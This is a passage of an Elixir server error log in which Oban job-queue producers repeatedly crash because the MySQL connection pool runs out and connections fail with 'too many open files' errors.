    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:50:55.239222Z], limit: 20, uuid: "08d56eef-108b-4e78-8979-93a15f92d8b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.239228Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82918>, refresh_timer: #Reference<0.2525715032.1099431938.70030>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:50:55.238965Z], limit: 10, uuid: "53547dae-b0b4-4443-94df-03355a078893", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.238971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82914>, refresh_timer: #Reference<0.2525715032.1068498948.82872>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:50:55.239467Z], limit: 5, uuid: "c75742cc-1558-42ba-bb6e-39df36c31372", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:55.239472Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82916>, refresh_timer: #Reference<0.2525715032.1068498948.82895>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:08.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:08.890000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:10.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:13.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:15.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:15.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:19.098000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:51:07.242695Z], limit: 10, uuid: "420ede4d-220e-498d-bf7c-3aa446b728b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.242701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83323>, refresh_timer: #Reference<0.2525715032.1099431938.70077>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:51:07.240292Z], limit: 50, uuid: "2d1b168c-9ad8-40f1-addc-2020ad1bee79", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.240298Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83321>, refresh_timer: #Reference<0.2525715032.1068498948.83268>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:51:07.241847Z], limit: 5, uuid: "adcf55f1-23c7-4791-8ec5-8be04bec4c8e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.241853Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83324>, refresh_timer: #Reference<0.2525715032.1099431938.70069>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:51:07.240632Z], limit: 5, uuid: "84857a46-c161-4fa8-b163-af537cb6f14c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.240638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83320>, refresh_timer: #Reference<0.2525715032.1068498948.83280>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:51:07.241004Z], limit: 20, uuid: "e0fec95f-e705-4cfd-a6bc-bc9424fb62c5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.241009Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83319>, refresh_timer: #Reference<0.2525715032.1068498948.83300>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:19.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:51:07.240794Z], limit: 3, uuid: "b511da24-109e-44b9-a2e5-727785e311a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:07.240799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83322>, refresh_timer: #Reference<0.2525715032.1068498948.83288>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:20.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:20.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:21.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
